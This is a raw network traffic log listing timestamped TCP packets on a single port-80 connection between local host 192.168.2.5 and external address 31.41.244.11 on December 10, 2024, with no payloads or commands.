Dec 10, 2024 05:10:13.335100889 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.335148096 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.336064100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.336111069 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.336180925 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.336229086 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.337070942 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.337112904 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.337172031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.337215900 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.338087082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.338129997 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.338193893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.338247061 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.339107990 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.339158058 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.339214087 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.339267015 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.340298891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.340344906 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.340415001 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.340512991 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.341156960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.341201067 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.341238022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.341283083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.342180967 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.342222929 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.342299938 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.342339993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.343225956 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.343269110 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.343303919 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.343338013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.344229937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.344271898 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.344351053 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.344404936 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.345266104 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.345313072 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.345381975 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.345422983 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.346261978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.346301079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.346369028 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.346410036 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.347280979 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.347330093 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.347423077 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.347465038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.348320961 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.348365068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.348403931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.348457098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.349354982 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.349399090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.349433899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.349467039 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.350349903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.350402117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.350459099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.350498915 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.351401091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.351454020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.351485968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.351531029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.352411985 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.352483988 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.352510929 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.352554083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.353430986 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.353533983 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.353539944 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.353570938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.354449034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.354562044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.354612112 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.355480909 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.355530977 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.355534077 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.355576038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.356523991 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.356570959 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.356606960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.356654882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.357556105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.357624054 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.357661009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.357711077 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.358541012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.358597994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.358633995 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.358692884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.359553099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.359606981 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.359672070 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.359715939 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.360589981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.360697031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.360713005 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.360729933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.361613035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.361682892 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.361712933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.361763954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.362672091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.362730026 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.362770081 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.362816095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.363687992 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.363735914 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.363773108 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.363825083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.364671946 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.364727020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.364809990 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.364856958 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.365706921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.365751982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.365825891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.365869999 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.366723061 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.366791010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.366791964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.366828918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.367763996 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.367824078 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.367855072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.367896080 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.368763924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.368810892 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.368892908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.368940115 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.369781971 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.369869947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.369903088 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.369951963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.370814085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.370860100 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.370923042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.370966911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.371850967 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.371906042 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.371942997 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.372015953 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.372873068 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.372919083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.372955084 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.372999907 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.373909950 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.373991966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.374025106 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.374068975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.374913931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.374958038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.375036001 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.375080109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.375948906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.375992060 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.376029968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.376070023 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.376969099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.377016068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.377065897 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.377104044 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.377973080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.378043890 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.378079891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.378125906 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.379009008 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.379062891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.379149914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.379193068 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.380045891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.380093098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.380222082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.380268097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.381051064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.381098986 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.381146908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.381198883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.382077932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.382137060 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.382173061 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.382219076 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.383093119 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.383141041 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.383205891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.383332968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.384097099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.384226084 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.523071051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.523158073 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.523191929 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.523236036 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.523554087 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.523603916 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.523684025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.523727894 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.524609089 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.524655104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.524735928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.524777889 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.525610924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.525715113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.525759935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.526755095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.526802063 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.526864052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.526907921 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.527647972 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.527781010 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.527822971 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.528657913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.528733015 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.528863907 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.528913975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.529702902 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.529772997 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.529803038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.529845953 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.530772924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.530831099 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.531116962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.531744003 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.531805992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.531915903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.531966925 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.532763004 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.532820940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.532886982 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.532929897 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.533868074 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.533931017 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.533934116 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.533973932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.534820080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.534879923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.534923077 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.534965038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.535842896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.535943031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.536005974 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.536868095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.536925077 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.536963940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.537014961 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.537877083 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.537929058 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.537970066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.538012981 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.538907051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.538984060 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.539011955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.539951086 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.540035009 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.540066004 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.540126085 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.540990114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.541034937 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.541076899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.541116953 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.541994095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.542103052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.542145967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.542999983 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.543121099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.543162107 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.544015884 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.544059992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.544130087 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.544168949 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.545068026 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.545111895 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.545147896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.545186996 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.546081066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.546133041 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.546174049 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.546215057 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.547085047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.547188044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.547235012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.548122883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.548168898 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.548211098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.548253059 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.549146891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.549210072 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.549245119 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.549287081 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.550158978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.550203085 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.550291061 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.550331116 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.551184893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.551297903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.551336050 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.552202940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.552249908 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.552325010 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.552386999 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.553235054 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.553313971 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.553347111 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.553395987 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.554258108 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.554303885 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.554357052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.554400921 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.555300951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.555344105 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.555382013 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.555428982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.556297064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.556344032 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.556385040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.556428909 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.557329893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.557375908 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.557457924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.557502985 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.558346987 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.558393002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.558453083 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.558494091 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.559361935 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.559426069 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.559457064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.559500933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.560399055 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.560447931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.560482979 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.560528040 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.561413050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.561456919 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.561486959 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.561532021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.562433958 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.562478065 CET	49833	80	192.168.2.5	31.41.244.11
